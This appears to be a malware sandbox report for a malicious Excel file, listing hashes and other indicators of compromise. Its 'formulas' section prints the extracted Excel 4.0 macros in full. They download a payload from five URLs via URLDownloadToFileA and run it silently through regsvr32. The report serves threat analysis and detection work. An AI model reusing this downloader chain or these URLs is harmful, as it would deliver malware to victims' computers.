General
-
Target
9a9ca5ea2fb324b947bd58491c197862ecfaa86b98b5f9b421c334300c9f11a3
-
Size
69KB
-
MD5
10d90a518a2cf0bd9e61114b2e32483f
-
SHA1
8d9b00ad8a076ea6edef0f371534e8ef03500a7c
-
SHA256
9a9ca5ea2fb324b947bd58491c197862ecfaa86b98b5f9b421c334300c9f11a3
-
SHA512
5fdc0e2985de6c6ed0ebd20fe640f9da74c81b08958ff038f8fb58a24ef407cbd71e6e69e45a17c7d6b01db42f431dbe9179aabbb0fa7ded4072838868569f3f
-
SSDEEP
1536:dp0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:czWhxHjh88ZoH7juFuZiQg
Malware Config
Extracted
https://vasilestudio.com/wp-admin/pZ1vbd5Z/
https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/
https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/
https://triclicks.net/wp-admin/bv/
https://thecanadianarab.com/wp-content/VJ/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
9a9ca5ea2fb324b947bd58491c197862ecfaa86b98b5f9b421c334300c9f11a3